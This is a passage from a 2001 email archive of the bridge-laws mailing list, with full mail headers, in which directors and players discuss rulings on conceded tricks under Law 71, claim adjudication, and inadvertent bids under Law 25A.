Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Fri, 12 Jan 2001 10:55:16 -0500" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0CFtRt02989 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi all, Writing a text on claims and concessions in a local bridge magazine, I would like to be sure I understand subtilities of Law 71. 71 A reads: "Trick cannot be lost if a player has conceded a trick.... his side could not have lost by any legal play of the remainaing cards." 71C : "Until the concedind side makes a call on a subsequent board, or until the round ends, the Director shall cancell the concession of a trick that could have been lost by any normal play of the remaining cards." The contract is 4S and declarer's last 3 cards are: S A 2 H A A defender has (no other trump left): S 7 H 8 2 Declarer claims 4, conceeding 1 of the last 3 tricks. He misconted Ss and is sure the defender has already 2 trumps. 1st case: all agree, cards are returned in board and N scores 4S = 420. They have cards of the next board in hands but before anybody calls, the dummy, on the last, board says: "I think we gave a trick on the last board. I will call the TD." Ruling: The conceding side did not call on the next board, so Law 71C applies. Declarer cannot loose a trick by any normal play. Playing S2 first is not a "normal" play. The score is corrected to 4S making 5 = 450. 2nd case: same scenario, but dummy awakes after his partner has already Pass on the next board (or later). Ruling: Law 71C no more applies and 71A prevails. Declarer can loose a trick with a "legal" play if S2 if played before SA. The score stands: 4S = 420. Comments please. Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 03:04:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CG4hM06094 for bridge-laws-outgoing; Sat, 13 Jan 2001 03:04:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from batman.npl.co.uk (batman.npl.co.uk [139.143.5.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CG4Zt06049 for ; Sat, 13 Jan 2001 03:04:36 +1100 (EST) Received: from herschel.npl.co.uk ([139.143.1.16]) by batman.npl.co.uk (8.11.0/8.11.0) with ESMTP id f0CG4Qf04499; Fri, 12 Jan 2001 16:04:27 GMT Received: (from root@localhost) by herschel.npl.co.uk (8.11.0/8.11.0) id f0CG4PE02103; Fri, 12 Jan 2001 16:04:25 GMT Received: by herschel.npl.co.uk XSMTPD/VSCAN; Fri, 12 Jan 2001 16:04:24 GMT Received: from tempest.npl.co.uk (tempest [139.143.18.16]) by capulin.cise.npl.co.uk (8.9.3/8.9.3) with ESMTP id QAA14695; Fri, 12 Jan 2001 16:04:22 GMT Received: (from rmb1@localhost) by tempest.npl.co.uk (8.9.1b+Sun/8.9.1) id QAA16383; Fri, 12 Jan 2001 16:04:22 GMT Date: Fri, 12 Jan 2001 16:04:22 GMT From: Robin Barker Message-Id: <200101121604.QAA16383@tempest.npl.co.uk> To: bridge-laws@rgb.anu.edu.au, john@probst.demon.co.uk Subject: Re: [BLML] What is suggested ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "John (MadDog) Probst" > In article <3A5D9D7E.D73AE8B1@village.uunet.be>, Herman De Wael > writes > >Robin Barker wrote: > >> > >> > > >> > My first cut: > >> > > >> > ...the player may not take an action that is influenced by the extraneous > >> > information, or might well appear to be so influenced. > >> > > >> > >> If the concern is to prevent players from making illogical alternatives > >> suggested by the UI, why not: > >> > >> "the partner may not choose an action that could demonstrably have been > >> suggested over logical alternative actions by the extraneous information." > >> > >> The action need not be logical, just the alternative less-suggested actions. > >> > > > >I feel that this is what the Laws already say (or try to > >say). > > > >Without this, there is a very difficult extra decision to > >make. Was the chosen action logical in the first place ? > > > >Last week I held : > > > >9 xxx xxxx QJ10xx > > > >both sides vul and partner overcalled 2Sp (weak) over 1Di, > >and this was doubled (negative). > > > >I bid 4Spades. > > > >Is this logical ? I don't think so. > > > >Yet it scored almost a top accross the whole world, because > >we went for -1400, and all opponents that were not in 6He, > >were in 7NT. > > > >What if there were some UI that partner had seven spades > >(she did) in stead of the expected six ? > >Wouldn't that have made the bid more attractive, and thus be > >classed "suggested". > >Would I really have an excuse in saying, 4Sp is not logical > >under any definition ? > > > 4S is not logical for most players, but it is more attractive in the > 7-card suit case. Since it has been called it is, for you (and me): > 1) a LA > 2) more attractive Two points: 1) My rewording above was specifically so we didn't care if the action taken was logical. 2) Re "Since it has been called it is ... more attractive". Surely you can't deduce that 4S was more attractive because it was chosen. Perhaps you (or I or Herman) bid 4S was because it was less attractive and, as someone who understands L16A, thought we were required to. Robin -- Robin Barker | Email: Robin.Barker@npl.co.uk CMSC, Building 10, | Phone: +44 (0) 20 8943 7090 National Physical Laboratory, | Fax: +44 (0) 20 8977 7091 Teddington, Middlesex, UK. TW11 OLW | WWW: http://www.npl.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 03:24:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CGOeZ06267 for bridge-laws-outgoing; Sat, 13 Jan 2001 03:24:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CGOWt06224 for ; Sat, 13 Jan 2001 03:24:33 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id RAA12150; Fri, 12 Jan 2001 17:24:23 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Fri Jan 12 16:28:43 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYTR68YB6Y0025Y6@AGRO.NL>; Fri, 12 Jan 2001 16:25:36 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Fri, 12 Jan 2001 16:21:13 +0100 Content-return: allowed Date: Fri, 12 Jan 2001 16:25:34 +0100 From: "Kooijman, A." Subject: RE: [BLML] Concession To: "'Nelson/Kay Ford'" , "Kooijman, A." , "'Marvin L. French'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B779@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > So when I'm called to the table for a contested claim, > I should ask for the "whole distribution, the bidding and > the play starting from trick one (and even that might > not be enough)"? > > I've NEVER seen a director ask for this level of detail, > and even if I did, how the heck am I ever supposed to make > a few rulings like this and finish the event before midnight? You might consider to let them continue play while you try to make a decision. Then it just takes your time and not theirs. > > I'm just looking for some general guidance in distinguishing > between "irrational" and "careless/inferior". good question. let me try (or did we - BLML - try before and came up with something acceptable?): irrational is what no player in real bridge live would ever do; careless/inferior is part of normal bridge live. So be honest and you know what to do. ton > > Nelson Ford > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 03:52:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CGpsA15740 for bridge-laws-outgoing; Sat, 13 Jan 2001 03:51:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CGplt15699 for ; Sat, 13 Jan 2001 03:51:47 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id LAA04996 for ; Fri, 12 Jan 2001 11:51:42 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id LAA02287 for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 11:51:42 -0500 (EST) Date: Fri, 12 Jan 2001 11:51:42 -0500 (EST) From: Steve Willner Message-Id: <200101121651.LAA02287@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: RE: [BLML] Concession X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Kooijman, A." > let me try (or did we - BLML - try before and came up with something > acceptable?): > irrational is what no player in real bridge live would ever do; > careless/inferior is part of normal bridge live. Nice try, but I think 'ever' is too strong. Players revoke, after all, but I don't think we would claim that's rational. Or a more pertinent example, perhaps: declarer leads small towards the AQ, next player inserts the K, and declarer calls for the Q. Clearly not rational, yet it happens. Another example is a player who "trumps" by playing a card from a side suit (having mistaken what suit is trumps). I don't think there's an easy or simple definition. What I'd like to see are some approved examples (which might comprise a very long list). Then TD's could compare any real case to the various examples and see which example comes closest. If you are determined to find a definition in words, maybe you could get somewhere by imagining a player who comprehends all the cards he sees (thus no revokes or Q under K plays or forgetting the contract) but doesn't remember the cards already played. I am quite dubious this approach will work, though; I am sure that at best it will need refinement. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 04:07:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CH74b20975 for bridge-laws-outgoing; Sat, 13 Jan 2001 04:07:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CH6vt20938 for ; Sat, 13 Jan 2001 04:06:58 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id JAA16564; Fri, 12 Jan 2001 09:06:52 -0800 Message-Id: <200101121706.JAA16564@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Annoyingly irregular In-reply-to: Your message of "Fri, 12 Jan 2001 00:34:24 PST." Date: Fri, 12 Jan 2001 09:06:52 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > N. Scott Cardell writes > > >The > >laws that are the subject of controversy relate to UI and MI. These have > >the purpose of preventing one side from accidently (or intentionally) > >achieving an unfair advantage. Unfortunately they frequently have > >undesirable side effects such as: punishing thinking in a game that is > >meant to call for thought, effectively requiring explanations to be a > >memorized formula rather than an honest informative response to the > >question, and most importantly the application of these laws can and often > >do give an unearned advantage to the nonoffending side. > > Why is giving an unearned advantage to the NOs undesirable? If giving unearned advantages to players is undesirable, then there are about twelve opponents from the last club game I played in that didn't earn the advantages I gave them, and should therefore have had points taken away from them. (And I didn't break any Laws.) -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 04:27:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CHRVe22607 for bridge-laws-outgoing; Sat, 13 Jan 2001 04:27:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (oe18.law8.hotmail.com [216.33.240.122]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CHRPt22603 for ; Sat, 13 Jan 2001 04:27:25 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 12 Jan 2001 09:27:17 -0800 X-Originating-IP: [63.22.210.164] From: "Roger Pewick" To: "blml" References: <67378DEA146DD21194C20000F87B08BA01B8B778@fdwag002s.fd.agro.nl> Subject: Re: [BLML] Concession Date: Fri, 12 Jan 2001 11:00:33 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 12 Jan 2001 17:27:17.0575 (UTC) FILETIME=[E9460570:01C07CBC] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From your selection of words one might conclude that within the context of the FLB that it takes the wisdom that we attribute to God in order to apply the law as intended. But if this is so, is the law suitable for the task for which it was created? Or might the task be unsuitable? roger pewick ----- Original Message ----- From: Kooijman, A. To: 'Nelson/Kay Ford' ; Kooijman, A. ; 'Marvin L. French' ; Sent: Friday, January 12, 2001 8:32 AM Subject: RE: [BLML] Concession | It is really not possible to answer this question. We need to know the whole | distribution, the bidding and the play starting from trick one (and even | that might not be enough). | | ton | > -----Oorspronkelijk bericht----- | > Van: Nelson/Kay Ford [mailto:nford@mail.cswnet.com] | > Verzonden: vrijdag 12 januari 2001 15:23 | > Aan: Kooijman, A.; 'Marvin L. French'; bridge-laws@rgb.anu.edu.au | > Onderwerp: Re: [BLML] Concession | > | > | > I wanted to ask the following question anyway, and since it is | > related to this one, I'll pose it now: | > | > With a half-dozen or so cards left, Declarer (a fine player) claims | > by showing his hand and making no Clarification Statement. His hand | > contains two trumps (Spades), two Hearts (including the top one), and | > a couple of winners in other suits. | > | > Dummy contains 1 trump, 1 Heart, and losers in other suits. | > | > Declarer's LHO contests and asks that Declarer lead a trump. | > This does not allow Declarer to ruff his losing Heart. | > | > LHO contends that it is within the realm of possibility that Declarer | > could have made a mistake counting trump and/or thought his last | > Heart would be good and therefore might have led his trump first, | > and that such a play would have been, in the terms of the footnote | > to L70, "a play that would be careless or inferior for the class of | > player involved, but not irrational." | > | > What should the ruling be, and where should a director draw the line | > between "careless or inferior" and "irrational" for a very | > good player? | > | > If this is considered "irrational" for a very good player, how about | > for the poor-to-average player who sometimes makes an unnecessary | > trump lead just to be sure he got them all? (Although such players | > rarely claim with 6 cards out.) | > | > Nelson Ford | > http://www.hsbridge.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 09:13:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CMCAa15275 for bridge-laws-outgoing; Sat, 13 Jan 2001 09:12:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ausinfo.com.au (babe.ausinfo.com.au [203.17.19.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CMC5t15245 for ; Sat, 13 Jan 2001 09:12:05 +1100 (EST) Received: from Q4Z5P8 [203.17.19.121] by ausinfo.com.au [127.0.0.1] with SMTP (MDaemon.v2.8.5.0.R) for ; Sat, 13 Jan 2001 08:17:13 +1000 Message-Id: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> X-Sender: tstrongbridge@mail.ausinfo.com.au (Unverified) X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Priority: 2 (High) Date: Sat, 13 Jan 2001 08:29:24 +1000 To: bridge-laws@rgb.anu.edu.au From: Tom Strong Subject: [BLML] Inadvertency X-MDaemon-Deliver-To: bridge-laws@rgb.anu.edu.au X-Return-Path: tstrongbridge@ausinfo.com.au Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This problem arose during aone day teams run at the club level. The local directors are uncertain as to whether the decision made at the table wasss correct. There was no point in appealing as it was a technical one which directors are best to deal with. Dealer West Vul North South West East S. QJ8 S. A9 H. 4 H. KJ753 D. J D. KQ1075 C. J10987643 C. Q East West are both good players with West a regular on the Congress circuit. They are playing together for the first time. West opens with three no trump and then says I have made an inadvertent bid and calls for the director. The director examines the system card in which three no trump is shown as gambling. He discovers that they had not discussed the bid in any way beyond the simple agreement. He finally ruled inadvertency on the grounds that even with eight cards this did not fulfill any of the common local versions of the Gambling Three No Trump. My own inclination would be to refuse this and treat it as an error in bidding. Comments would be appreciated as at the club level we get few decisions of this sort and need education as to the correct decision and why. Tom -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 09:38:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CMcFB24361 for bridge-laws-outgoing; Sat, 13 Jan 2001 09:38:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.email.msn.com (cpimssmtpu08.email.msn.com [207.46.181.30]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CMc8t24328 for ; Sat, 13 Jan 2001 09:38:09 +1100 (EST) Received: from uymfdlvk - 63.57.229.48 by email.msn.com with Microsoft SMTPSVC; Fri, 12 Jan 2001 14:37:48 -0800 Message-ID: <0c2601c07ce7$7f947820$55c2113f@uymfdlvk> Reply-To: "Chris Pisarra" From: "Chris Pisarra" To: References: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> Subject: Re: [BLML] Inadvertency Date: Fri, 12 Jan 2001 14:32:03 -0800 Organization: his wit's end MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tom Strong wrote: > Dealer West Vul North South > > West East > S. QJ8 S. A9 > H. 4 H. KJ753 > D. J D. KQ1075 > C. J10987643 C. Q > > East West are both good players with West a regular on the Congress > circuit. They are playing together for the first time. > West opens with three no trump and then says I have made an inadvertent bid > and calls for the director. The director examines the system card in which > three no trump is shown as gambling. He discovers that they had not > discussed the bid in any way beyond the simple agreement. > He finally ruled inadvertency on the grounds that even with eight cards > this did not fulfill any of the common local versions of the Gambling Three > No Trump. > My own inclination would be to refuse this and treat it as an error in > bidding. Comments would be appreciated as at the club level we get few > decisions of this sort and need education as to the correct decision and why. What was the time frame here? Did the director call come immediately or after a delay? Assuming that the claim of inadvertancy was made quite quickly, I would be hard pressed not to believe him, since this isn't a 3NT bid in any system I have ever heard of. Of course, if it **would** be an acceptable 3NT bid in your part of the world, then my answer could well be different. Chris -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 09:49:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CMmuO28144 for bridge-laws-outgoing; Sat, 13 Jan 2001 09:48:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CMmnt28103 for ; Sat, 13 Jan 2001 09:48:50 +1100 (EST) Received: from oemcomputer (user-2ive4el.dialup.mindspring.com [165.247.17.213]) by granger.mail.mindspring.net (8.9.3/8.8.5) with SMTP id RAA02702; Fri, 12 Jan 2001 17:48:43 -0500 (EST) Message-ID: <00b801c07cea$658e7400$d511f7a5@oemcomputer> From: "Craig Senior" To: , "Tom Strong" References: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> Subject: Re: [BLML] Inadvertency Date: Fri, 12 Jan 2001 17:52:50 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk It surely seems like a change of mind rather than an inadvertancy. What did he wish to bid? If he had intended to pull the 4c card and got the 3n card instead, that looks like he made a mispull and I would allow a 25A correction. But anything else looks fishy...let him live with the 3n and any result that is tainted by the UI to p of his call to you. Craig ----- Original Message ----- From: "Tom Strong" To: Sent: Friday, January 12, 2001 5:29 PM Subject: [BLML] Inadvertency > This problem arose during aone day teams run at the club level. The > local directors are uncertain as to whether the decision made at the table > wasss correct. There was no point in appealing as it was a technical one > which directors are best to deal with. > Dealer West Vul North South > > West East > S. QJ8 S. A9 > H. 4 H. KJ753 > D. J D. KQ1075 > C. J10987643 C. Q > > East West are both good players with West a regular on the Congress > circuit. They are playing together for the first time. > West opens with three no trump and then says I have made an inadvertent bid > and calls for the director. The director examines the system card in which > three no trump is shown as gambling. He discovers that they had not > discussed the bid in any way beyond the simple agreement. > He finally ruled inadvertency on the grounds that even with eight cards > this did not fulfill any of the common local versions of the Gambling Three > No Trump. > My own inclination would be to refuse this and treat it as an error in > bidding. Comments would be appreciated as at the club level we get few > decisions of this sort and need education as to the correct decision and why. > Tom > > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 09:50:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CMoPA28652 for bridge-laws-outgoing; Sat, 13 Jan 2001 09:50:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CMoJt28618 for ; Sat, 13 Jan 2001 09:50:19 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 12 Jan 2001 14:47:09 -0800 Message-ID: <031d01c07ce9$fcc3f9e0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101092349030800.0321272A@mail.earthlink.net> <004901c07b2b$2a675880$56991e18@san.rr.com> <01ae01c07c07$c75f49e0$56991e18@san.rr.com> Subject: Re: [BLML] Bad Language Date: Fri, 12 Jan 2001 14:46:08 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Stevenson" > Marvin L. French writes > > >We have to recognize that England and the U. S. are too far apart, > >geographically and culturally, to expect them to have a completely > >common language. It offends my ear/eye to hear/read the English "one" > >used for "I," as in "One enjoyed one's trip to the continent last > >year," but I suppose the British Davids find it perfectly acceptable. > > Certainly not. That's French. > I remember Princess Anne using "one" in this way on the telly. Perhaps a middle path between the royal "we" and the "I" of commoners? I believe that some columnists use "one" as first person also, if not using "we" or "the present writer" or "your reviewer," all pretty ridiculous. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 09:59:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CMxNT01812 for bridge-laws-outgoing; Sat, 13 Jan 2001 09:59:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CMxGt01775 for ; Sat, 13 Jan 2001 09:59:16 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id RAA22831 for ; Fri, 12 Jan 2001 17:59:13 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id RAA03174 for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 17:59:12 -0500 (EST) Date: Fri, 12 Jan 2001 17:59:12 -0500 (EST) From: Steve Willner Message-Id: <200101122259.RAA03174@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Inadvertency X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Chris Pisarra" > Assuming that the claim of inadvertancy was made quite quickly, > I would be hard pressed not to believe him, since this isn't a 3NT bid in > any system I have ever heard of. Of course, if it **would** be an > acceptable 3NT bid in your part of the world, then my answer could well be > different. Don't some players use 3NT for a bad preempt in a minor? I would have thought that the TD might want to ask the player (away from the table) what happened. If he says "I meant to bid 4C and was shocked to find I'd grabbed the 3NT card by mistake," that's one thing. (The 4C card is of course next to the 3NT card in most bidding boxes.) If he says "I play 3NT=bad preempt with my usual partner," that's quite different! Even if the player says it's a "fejlgreb" (right word?), the TD might want to ascertain when it was noticed and how soon the correction was attempted. L25A requires: 1) The call was not the one in the players' mind when it was made, 2) correction was attempted without pause for thought after the moment the mistake was noticed, and 3) partner has not yet called. (Phrasing of the above is mine, but I think it's pretty good. Mind you, I don't _approve_ of requirement 1 because it requires mind reading, but that's the way things are for now.) If a L25A correction is not allowed, L25B might still apply. (Yecchh!) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 10:50:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CNo2V13176 for bridge-laws-outgoing; Sat, 13 Jan 2001 10:50:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta01-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CNnvt13172 for ; Sat, 13 Jan 2001 10:49:57 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta01-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license fc2c4e20c60bc99c8c8f9bb6725f4ded) with SMTP id <20010112234446.DOTI20132.amsmta01-svc@witz> for ; Sat, 13 Jan 2001 00:44:46 +0100 Message-Id: <3.0.2.32.20010113005147.0109eb28@mail.chello.nl> X-Sender: a.witzen@mail.chello.nl X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Sat, 13 Jan 2001 00:51:47 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Law 71: Concession cancelled In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:55 AM 12-01-01 -0500, you wrote: >Hi all, > >Writing a text on claims and concessions in a local >bridge magazine, I would like to be sure I understand >subtilities of Law 71. > >71 A reads: "Trick cannot be lost if a player has conceded >a trick.... his side could not have lost by any legal play of >the remainaing cards." > >71C : this next sentence has been deleted and should be scrapped in your lawbook "Until the concedind side makes a call on a subsequent >board, or until the round ends, the Director shall cancell the >concession of a trick that could have been lost by any >normal play of the remaining cards." > >The contract is 4S and declarer's last 3 cards are: > S A 2 > H A > >A defender has (no other trump left): > S 7 > H 8 2 > >Declarer claims 4, conceeding 1 of the last 3 tricks. >He misconted Ss and is sure the defender has >already 2 trumps. > >1st case: all agree, cards are returned in board and N >scores 4S = 420. They have cards of the next board in >hands but before anybody calls, the dummy, on the last, >board says: "I think we gave a trick on the last board. >I will call the TD." > >Ruling: The conceding side did not call on the 